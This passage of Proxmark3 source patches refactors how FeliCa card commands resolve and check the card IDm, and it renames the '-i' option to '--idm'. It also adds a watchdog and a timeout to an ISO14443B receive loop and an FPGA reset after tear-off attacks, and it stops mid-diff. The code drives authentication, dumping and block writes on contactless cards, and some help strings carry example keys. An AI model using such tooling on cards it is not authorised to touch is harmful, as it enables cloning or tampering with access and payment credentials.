_CYAN_("Status Flag 1")); @@ -700,20 +720,6 @@ static int info_seac(void) { } -/** - * Adds the last known IDm (8-Byte) to the data frame. - * @param position start of where the IDm is added within the frame. - * @param data frame in where the IDM is added. - * @return true if IDm was added; - */ -static bool add_last_IDm(uint8_t position, uint8_t *data) { - if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { - memcpy(data + position, last_known_card.IDm, sizeof(last_known_card.IDm)); - return true; - } - return false; -} - static int CmdHFFelicaList(const char *Cmd) { return CmdTraceListAlias(Cmd, "hf felica", "felica"); } @@ -1399,6 +1405,156 @@ static int send_read_without_encryption(uint8_t flags, uint16_t datalen, uint8_t FELICA_DEFAULT_TIMEOUT_MS, 0, 0, true); } +static int felica_discover_target(felica_card_select_t *card) { + if (card == NULL) { + return PM3_EINVARG; + } + + int last_status = PM3_ETIMEOUT; + for (uint32_t attempt = 0; attempt < FELICA_TARGET_PRESENCE_ATTEMPTS; attempt++) { + clear_and_send_command(FELICA_CONNECT, 0, NULL, false); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_FELICA_COMMAND, &resp, 2500) == false) { + last_status = PM3_ETIMEOUT; + DropField(); + continue; + } + + if (resp.status != PM3_SUCCESS) { + last_status = resp.status; + DropField(); + continue; + } + + if (resp.length < sizeof(*card)) { + last_status = PM3_ESOFT; + DropField(); + continue; + } + + memcpy(card, resp.data.asBytes, sizeof(*card)); + set_last_known_card(*card); + DropField(); + return PM3_SUCCESS; + } + + return last_status; +} + +// Presence is checked by issuing ReadWithoutEncryption against service number 0 +// with the unauthenticated random-read attribute and verifying the response IDm. +static int felica_presence_check_idm(const uint8_t *idm) { + if (idm == NULL) { + return PM3_EINVARG; + } + + uint8_t data[16] = {0}; + data[0] = sizeof(data); + data[1] = FELICA_RDBLK_REQ; + memcpy(data + 2, idm, 8); + data[10] = 0x01; + data[11] = FELICA_PRESENCE_SERVICE_CODE_LE & 0xFF; + data[12] = (FELICA_PRESENCE_SERVICE_CODE_LE >> 8) & 0xFF; + data[13] = 0x01; + data[14] = 0x80; + data[15] = 0x00; + + PacketResponseNG resp; + const uint8_t flags = FELICA_CONNECT | FELICA_NO_SELECT | FELICA_APPEND_CRC | FELICA_RAW; + const int ret = send_felica_payload_with_retries(flags, sizeof(data), data, false, + FELICA_RDBLK_ACK, + FELICA_DEFAULT_TIMEOUT_MS, FELICA_TARGET_PRESENCE_ATTEMPTS - 1U, + 0, false, + &resp, "presence check"); + DropField(); + if (ret != PM3_SUCCESS) { + return ret; + } + + if (resp.length < sizeof(felica_frame_response_t)) { + return PM3_ESOFT; + } + + const felica_frame_response_t *frame_response = (const felica_frame_response_t *)resp.data.asBytes; + if (memcmp(frame_response->IDm, idm, sizeof(frame_response->IDm)) != 0) { + return PM3_ERFTRANS; + } + + return PM3_SUCCESS; +} + +static int felica_ensure_target_present(const uint8_t *custom_idm, + size_t custom_idm_len, + felica_idm_resolution_mode_t mode, + uint8_t *idm_out) { + if (idm_out == NULL) { + return PM3_EINVARG; + } + + if (custom_idm_len > 0 && custom_idm_len != sizeof(last_known_card.IDm)) { + return PM3_EINVARG; + } + + if (custom_idm_len == sizeof(last_known_card.IDm)) { + memcpy(idm_out, custom_idm, sizeof(last_known_card.IDm)); + + if (mode == FELICA_IDM_RESOLVE_CHAINED) { + PrintAndLogEx(INFO, "Using explicit IDm... " _GREEN_("%s"), + sprint_hex_inrow(idm_out, sizeof(last_known_card.IDm))); + return PM3_SUCCESS; + } + + if (felica_presence_check_idm(idm_out) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Tag with explicit IDm not detected: " _YELLOW_("%s"), + sprint_hex_inrow(idm_out, sizeof(last_known_card.IDm))); + return PM3_ERFTRANS; + } + + felica_set_last_known_idm(idm_out); + PrintAndLogEx(INFO, "Using explicit IDm... " _GREEN_("%s"), + sprint_hex_inrow(idm_out, sizeof(last_known_card.IDm))); + return PM3_SUCCESS; + } + + if (mode == FELICA_IDM_RESOLVE_CHAINED) { + if (last_known_card.IDm[0] == 0 || last_known_card.IDm[1] == 0) { + PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); + return PM3_EINVARG; + } + + memcpy(idm_out, last_known_card.IDm, sizeof(last_known_card.IDm)); + PrintAndLogEx(INFO, "Using cached IDm.... " _GREEN_("%s"), + sprint_hex_inrow(idm_out, sizeof(last_known_card.IDm))); + return PM3_SUCCESS; + } + + if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { + if (felica_presence_check_idm(last_known_card.IDm) == PM3_SUCCESS) { + memcpy(idm_out, last_known_card.IDm, sizeof(last_known_card.IDm)); + PrintAndLogEx(INFO, "Using cached IDm.... " _GREEN_("%s"), + sprint_hex_inrow(idm_out, sizeof(last_known_card.IDm))); + return PM3_SUCCESS; + } + + PrintAndLogEx(WARNING, "Cached IDm is no longer present. Polling for a new tag..."); + } else { + PrintAndLogEx(WARNING, "No cached IDm available. Polling for a new tag..."); + } + + felica_card_select_t card = {0}; + const int ret = felica_discover_target(&card); + if (ret != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "No FeliCa tag detected while polling."); + return ret; + } + + memcpy(idm_out, card.IDm, sizeof(card.IDm)); + PrintAndLogEx(INFO, "Using polled IDm.... " _GREEN_("%s"), + sprint_hex_inrow(idm_out, sizeof(card.IDm))); + return PM3_SUCCESS; +} + static int send_request_code_list(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, bool logging, PacketResponseNG *resp) { @@ -2250,22 +2406,6 @@ static int felica_dump_discovery_visitor(const felica_discovered_node_t *node, v return PM3_SUCCESS; } -/** - * Checks if last known card can be added to data and adds it if possible. - * @param custom_IDm - * @param data - * @return - */ -static bool check_last_idm(uint8_t *data, uint16_t datalen) { - if (add_last_IDm(2, data) == false) { - PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); - return false; - } - - PrintAndLogEx(INFO, "Using last known IDm... " _GREEN_("%s"), sprint_hex_inrow(data, datalen)); - return true; -} - /** * Sends a write_without_encryption frame to pm3 and stores the response. * @param flags to use for pm3 communication. @@ -2315,13 +2455,13 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { _RED_("INCOMPLETE / EXPERIMENTAL COMMAND!!!"), "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\n" - "hf felica auth1 -i 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" + "hf felica auth1 --idm 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" ); void *argtable[] = { arg_param_begin, arg_str0(NULL, "an", "", "number of areas, 1 byte"), arg_str0(NULL, "acl", "", "area code list, 2 bytes"), - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0(NULL, "sn", "", "number of service, 1 byte"), arg_str0(NULL, "scl", "", "service code list, 2 bytes"), arg_str0("k", "key", "", "3des key, 16 bytes"), @@ -2390,13 +2530,6 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { data[0] = 0x0C; // Static length data[1] = 0x3E; // Command ID - bool custom_IDm = false; - - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, 8); - } - // Length (1), // Command ID (1), // IDm (8), @@ -2409,9 +2542,12 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { data[0] = (datalen & 0xFF); data[1] = 0x10; // Command ID - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + uint8_t resolved_idm[8] = {0}; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, resolved_idm); + if (res != PM3_SUCCESS) { + return res; } + memcpy(data + 2, resolved_idm, sizeof(resolved_idm)); if (anlen) { data[10] = an[0]; @@ -2529,11 +2665,11 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { _RED_("INCOMPLETE / EXPERIMENTAL COMMAND!!!\n") _RED_("EXPERIMENTAL COMMAND - M2c/P2c will be not checked"), "hf felica auth2 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" - "hf felica auth2 -i 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" + "hf felica auth2 --idm 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n" ); void *argtable[] = { arg_param_begin, - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0("c", "cc", "", "M3c card challenge, 8 bytes"), arg_str0("k", "key", "", "3des M3c decryption key, 16 bytes"), arg_lit0("v", "verbose", "verbose output"), @@ -2575,20 +2711,16 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { uint8_t data[PM3_CMD_DATA_SIZE]; memset(data, 0, sizeof(data)); - bool custom_IDm = false; - - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, 8); - } - uint16_t datalen = 18; // Length (1), Command ID (1), IDm (8), M4c (8) data[0] = (datalen & 0xFF); data[1] = 0x12; // Command ID - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + uint8_t resolved_idm[8] = {0}; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_CHAINED, resolved_idm); + if (res != PM3_SUCCESS) { + return res; } + memcpy(data + 2, resolved_idm, sizeof(resolved_idm)); if (cclen) { memcpy(data + 16, cc, cclen); @@ -2598,11 +2730,6 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { memcpy(data + 16, key, keylen); } - - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; - } - // M3c (8) == cc // unsigned char m3c[8]; == cc @@ -2690,12 +2817,12 @@ static int CmdHFFelicaWritePlain(const char *Cmd) { " - Mode shall be Mode0.\n" " - Un-/Ssuccessful == Status Flag1 and Flag2", "hf felica wrbl --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10\n" - "hf felica wrbl -i 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10\n" + "hf felica wrbl --idm 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10\n" ); void *argtable[] = { arg_param_begin, arg_str0("d", "data", "", "data, 16 hex bytes"), - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0(NULL, "sn", "", "number of service"), arg_str0(NULL, "scl", "", "service code list"), arg_str0(NULL, "bn", "", "number of block"), @@ -2771,12 +2898,6 @@ static int CmdHFFelicaWritePlain(const char *Cmd) { data[0] = 0x20; // Static length data[1] = 0x08; // Command ID - bool custom_IDm = false; - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, sizeof(idm)); - } - // Length (1) // Command ID (1) // IDm (8) @@ -2787,8 +2908,9 @@ static int CmdHFFelicaWritePlain(const char *Cmd) { // Block Data(16) uint16_t datalen = 32; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3), Block Data(16) - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } if (blelen == 3) { @@ -2853,12 +2975,12 @@ static int CmdHFFelicaReadPlain(const char *Cmd) { " - Unsuccessful == Status Flag1 and Flag2", "hf felica rdbl --sn 01 --scl 8B00 --bn 01 --ble 8000\n" "hf felica rdbl --sn 01 --scl 4B18 --bn 01 --ble 8000 -b\n" - "hf felica rdbl -i 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000\n" + "hf felica rdbl --idm 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000\n" ); void *argtable[] = { arg_param_begin, arg_lit0("b", NULL, "get all block list elements 00 -> FF"), - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_lit0("l", "long", "use 3 byte block list element block number"), arg_str0(NULL, "sn", "", "number of service"), arg_str0(NULL, "scl", "", "service code list"), @@ -2930,15 +3052,10 @@ static int CmdHFFelicaReadPlain(const char *Cmd) { data[0] = 0x10; // Static length data[1] = 0x06; // Command ID - bool custom_IDm = false; - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, sizeof(idm)); - } - uint16_t datalen = 16; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3) - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } if (long_block_numbers) { @@ -3001,11 +3118,11 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { CLIParserInit(&ctx, "hf felica rqresponse", "Use this command to verify the existence of a card and its Mode.\n" " - current mode of the card is returned", - "hf felica rqresponse -i 11100910C11BC407\n" + "hf felica rqresponse --idm 11100910C11BC407\n" ); void *argtable[] = { arg_param_begin, - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3025,15 +3142,10 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { data[0] = 0x0A; // Static length data[1] = 0x04; // Command ID - bool custom_IDm = false; - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, sizeof(idm)); - } - uint8_t datalen = 10; // Length (1), Command ID (1), IDm (8) - if (!custom_IDm && !check_last_idm(data, datalen)) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); @@ -3074,11 +3186,11 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { "hf felica rqspecver\n" "hf felica rqspecver -r 0001\n" - "hf felica rqspecver -i 11100910C11BC407 \n" + "hf felica rqspecver --idm 11100910C11BC407 \n" ); void *argtable[] = { arg_param_begin, - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0("r", NULL, "", "set custom reserve"), arg_lit0("v", "verbose", "verbose output"), arg_param_end @@ -3113,20 +3225,14 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { request_specification_version_request.length[0] = sizeof(request_specification_version_request); request_specification_version_request.command_code[0] = FELICA_REQUEST_SPEC_VERSION_REQ; - bool custom_IDm = false; - if (ilen) { - custom_IDm = true; - memcpy(request_specification_version_request.IDm, idm, sizeof(idm)); - } - if (rlen) { memcpy(request_specification_version_request.reserved, reserved, sizeof(reserved)); } - if (custom_IDm == false && - check_last_idm((uint8_t *)&request_specification_version_request, - sizeof(request_specification_version_request)) == false) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, + request_specification_version_request.IDm); + if (res != PM3_SUCCESS) { + return res; } felica_request_specification_version_info_t specification_version_info; @@ -3174,11 +3280,11 @@ static int CmdHFFelicaResetMode(const char *Cmd) { "Use this command to reset Mode to Mode 0.", "hf felica resetmode\n" "hf felica resetmode -r 0001\n" - "hf felica resetmode -i 11100910C11BC407 \n" + "hf felica resetmode --idm 11100910C11BC407 \n" ); void *argtable[] = { arg_param_begin, - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0("r", NULL, "", "set custom reserve"), arg_lit0("v", "verbose", "verbose output"), arg_param_end @@ -3213,12 +3319,6 @@ static int CmdHFFelicaResetMode(const char *Cmd) { data[0] = 0x0C; // Static length data[1] = 0x3E; // Command ID - bool custom_IDm = false; - - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, 8); - } if (rlen) { memcpy(data + 10, reserved, 2); } else { @@ -3227,8 +3327,9 @@ static int CmdHFFelicaResetMode(const char *Cmd) { } uint16_t datalen = 12; // Length (1), Command ID (1), IDm (8), Reserved (2) - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); @@ -3265,11 +3366,11 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { " - if a card is divided into more than one System, \n" " this command acquires System Code of each System existing in the card.", "hf felica rqsyscode\n" - "hf felica rqsyscode -i 11100910C11BC407 \n" + "hf felica rqsyscode --idm 11100910C11BC407 \n" ); void *argtable[] = { arg_param_begin, - arg_str0("i", NULL, "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3289,15 +3390,10 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { data[0] = 0x0A; // Static length data[1] = 0x0C; // Command ID - bool custom_IDm = false; - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, sizeof(idm)); - } - uint16_t datalen = 10; // Length (1), Command ID (1), IDm (8) - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); @@ -3338,28 +3434,31 @@ static int CmdHFFelicaDump(const char *Cmd) { "Dump all existing Area Code and Service Code.\n" "Only works on services that do not require authentication yet.\n", "hf felica dump\n" - "hf felica dump --retry 5"); + "hf felica dump --retry 5\n" + "hf felica dump --idm 11100910C11BC407"); void *argtable[] = { arg_param_begin, arg_lit0(NULL, "no-auth", "read public services"), arg_u64_0("r", "retry", "", "number of retries"), + arg_str0(NULL, "idm", "", "use custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); uint32_t retry_count = arg_get_u32_def(ctx, 2, FELICA_DEFAULT_RETRY_COUNT); + uint8_t idm[8] = {0}; + int ilen = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 3), idm, sizeof(idm), &ilen); CLIParserFree(ctx); - - // bool no_auth = arg_get_lit(ctx, 1); - - uint8_t probe_data[12] = {0}; - probe_data[0] = sizeof(probe_data); - probe_data[1] = FELICA_SRCHSYSCODE_REQ; - if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { + if (res) { return PM3_EINVARG; } - uint8_t idm[8] = {0}; - memcpy(idm, probe_data + 2, sizeof(idm)); + // bool no_auth = arg_get_lit(ctx, 1); + + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, idm); + if (res != PM3_SUCCESS) { + return res; + } PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery or dumping"); @@ -3423,7 +3522,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { "in the command packet.", "hf felcia rqservice --node 01 --code FFFF\n" "hf felcia rqservice -a --code FFFF\n" - "hf felica rqservice -i 011204126417E405 --node 01 --code FFFF" + "hf felica rqservice --idm 011204126417E405 --node 01 --code FFFF" ); void *argtable[] = { @@ -3431,7 +3530,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { arg_lit0("a", "all", "auto node number mode, iterates through all nodes 1 < n < 32"), arg_str0("n", "node", "", "Number of Node"), arg_str0("c", "code", "", "Node Code List (little endian)"), - arg_str0("i", "idm", "", "use custom IDm"), + arg_str0(NULL, "idm", "", "use custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3465,13 +3564,6 @@ static int CmdHFFelicaRequestService(const char *Cmd) { uint8_t data[PM3_CMD_DATA_SIZE]; memset(data, 0, sizeof(data)); - bool custom_IDm = false; - - if (ilen) { - custom_IDm = true; - memcpy(data + 2, idm, 8); - } - if (all_nodes == false) { // Node Number if (nlen == 1) { @@ -3486,15 +3578,12 @@ static int CmdHFFelicaRequestService(const char *Cmd) { uint8_t datalen = 13; // length (1) + CMD (1) + IDm(8) + Node Number (1) + Node Code List (2) - uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); - if (custom_IDm) { - flags |= FELICA_NO_SELECT; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, data + 2); + if (res != PM3_SUCCESS) { + return res; } - // Todo activate once datalen isn't hardcoded anymore... - if (custom_IDm == false && check_last_idm(data, datalen) == false) { - return PM3_EINVARG; - } + uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); data[0] = (datalen & 0xFF); data[1] = 0x02; // Service Request Command ID @@ -3526,11 +3615,13 @@ static int CmdHFFelicaDiscoverNodes(const char *Cmd) { "Method: auto | request_code_list | search_service_code | request_service | read_without_encryption", "hf felica discnodes\n" "hf felica discnodes --retry 5\n" - "hf felica discnodes --method request_service"); + "hf felica discnodes --method request_service\n" + "hf felica discnodes --idm 11100910C11BC407"); void *argtable[] = { arg_param_begin, arg_u64_0("r", "retry", "", "number of retries"), arg_str0("m", "method", "", "node discovery method"), + arg_str0(NULL, "idm", "", "use custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3538,6 +3629,9 @@ static int CmdHFFelicaDiscoverNodes(const char *Cmd) { char method_str[64] = {0}; int method_len = 0; int method_str_status = CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)method_str, sizeof(method_str) - 1, &method_len); + uint8_t idm[8] = {0}; + int ilen = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 3), idm, sizeof(idm), &ilen); felica_node_discovery_method_t selected_method = FELICA_NODE_DISCOVERY_NONE; int method_parse_status = PM3_EINVARG; if (method_str_status == PM3_SUCCESS) { @@ -3545,20 +3639,18 @@ static int CmdHFFelicaDiscoverNodes(const char *Cmd) { method_parse_status = felica_parse_node_discovery_method(method_str, &selected_method); } CLIParserFree(ctx); + if (res != PM3_SUCCESS) { + return PM3_EINVARG; + } if (method_str_status != PM3_SUCCESS || method_parse_status != PM3_SUCCESS) { return method_parse_status; } - uint8_t probe_data[12] = {0}; - probe_data[0] = sizeof(probe_data); - probe_data[1] = FELICA_SRCHSYSCODE_REQ; - if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { - return PM3_EINVARG; + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, idm); + if (res != PM3_SUCCESS) { + return res; } - uint8_t idm[8] = {0}; - memcpy(idm, probe_data + 2, sizeof(idm)); - PrintAndLogEx(HINT, "Area and service codes are printed in network order."); PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery"); @@ -3612,25 +3704,28 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { CLIParserInit(&ctx, "hf felica scsvcode", "Dump all existing Area Code and Service Code.", "hf felica scsvcode\n" - "hf felica scsvcode --retry 5"); + "hf felica scsvcode --retry 5\n" + "hf felica scsvcode --idm 11100910C11BC407"); void *argtable[] = { arg_param_begin, arg_u64_0("r", "retry", "", "number of retries"), + arg_str0(NULL, "idm", "", "use custom IDm"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); uint32_t retry_count = arg_get_u32_def(ctx, 1, FELICA_DEFAULT_RETRY_COUNT); + uint8_t idm[8] = {0}; + int ilen = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), idm, sizeof(idm), &ilen); CLIParserFree(ctx); - - uint8_t probe_data[12] = {0}; - probe_data[0] = sizeof(probe_data); - probe_data[1] = FELICA_SRCHSYSCODE_REQ; - if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { + if (res) { return PM3_EINVARG; } - uint8_t idm[8] = {0}; - memcpy(idm, probe_data + 2, sizeof(idm)); + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, idm); + if (res != PM3_SUCCESS) { + return res; + } PrintAndLogEx(HINT, "Area and service codes are printed in network order."); PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery"); @@ -4296,7 +4391,7 @@ static int CmdHFFelicaAuthenticationLite(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf felica liteauth", "Authenticate", - "hf felica liteauth -i 11100910C11BC407\n" + "hf felica liteauth --idm 11100910C11BC407\n" "hf felica liteauth --key 46656c69436130313233343536616263\n" "hf felica liteauth --key 46656c69436130313233343536616263 -k\n" "hf felica liteauth -c 701185c59f8d30afeab8e4b3a61f5cc4 --key 46656c69436130313233343536616263" @@ -4305,7 +4400,7 @@ static int CmdHFFelicaAuthenticationLite(const char *Cmd) { arg_param_begin, arg_str0(NULL, "key", "", "set card key, 16 bytes"), arg_str0("c", "", "", "set random challenge, 16 bytes"), - arg_str0("i", "", "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_lit0("k", "", "keep signal field ON after receive"), arg_param_end }; @@ -4342,13 +4437,9 @@ static int CmdHFFelicaAuthenticationLite(const char *Cmd) { CLIParserFree(ctx); - if (!ilen) { - if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { - memcpy(idm, last_known_card.IDm, sizeof(idm)); - } else { - PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); - return PM3_EINVARG; - } + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, idm); + if (res != PM3_SUCCESS) { + return res; } int ret = PM3_SUCCESS; @@ -4544,7 +4635,7 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { ); void *argtable[] = { arg_param_begin, - arg_str0("i", "", "", "set custom IDm"), + arg_str0(NULL, "idm", "", "set custom IDm"), arg_str0(NULL, "key", "", "set card key, 16 bytes"), arg_param_end }; @@ -4571,13 +4662,9 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { CLIParserFree(ctx); if (keylen != 0) { - if (!ilen) { - if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { - memcpy(idm, last_known_card.IDm, sizeof(idm)); - } else { - PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); - return PM3_EINVARG; - } + res = felica_ensure_target_present(idm, (size_t)ilen, FELICA_IDM_RESOLVE_STANDALONE, idm); + if (res != PM3_SUCCESS) { + return res; } uint8_t rc[FELICA_BLK_SIZE] = {0}; From 57f200d1072a84bb5785bbbe95cd0e130045484a Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:06:28 +0100 Subject: [PATCH 079/162] fix(iso14443b): add WDT_HIT and timeout to DMA receive loop In Get14443bAnswerFromTag(), the behindBy == 0 idle loop (waiting for FPGA DMA samples) had no watchdog kick, no button check, and no timeout. If the FPGA stops providing the SSC clock, this loop spins infinitely until the hardware watchdog triggers a reboot. Add WDT_HIT(), BUTTON_PRESS() check, and a 200ms failsafe timeout using GetTickCountDelta() to prevent infinite spins. --- armsrc/iso14443b.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 54c455b38..ed726451c 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1379,10 +1379,23 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_RECEIVE_IQ); + uint32_t wait_start_time = GetTickCount(); + for (;;) { volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); if (behindBy == 0) { + WDT_HIT(); + if (BUTTON_PRESS()) { + ret = PM3_EOPABORTED; + break; + } + // Failsafe: if the FPGA SSC clock drops completely, DMA will freeze eternally. + // We use the ARM's main tick counter (1ms) instead of the SSP clock. + if (samples == 0 && GetTickCountDelta(wait_start_time) > 200) { + ret = PM3_ETIMEOUT; + break; + } continue; } From 0151c0d710df82a406c6a68c53370fc371c8f5b0 Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:06:41 +0100 Subject: [PATCH 080/162] fix(fpga): add FpgaResetBitstream() to force re-initialization After aggressive field cycling (e.g. tear-off attacks), the FPGA's internal SSC/DMA state can become corrupted even though the bitstream is technically loaded. FpgaDownloadAndGo() caches downloaded_bitstream and skips re-download if it matches, so subsequent commands fail silently or hang. Add FpgaResetBitstream() which sets downloaded_bitstream to FPGA_BITSTREAM_UNKNOWN, forcing the next FpgaDownloadAndGo() to perform a complete reload. --- armsrc/fpgaloader.c | 4 ++++ armsrc/fpgaloader.h | 1 + 2 files changed, 5 insertions(+) diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 384ec236c..e1c313414 100644 --- 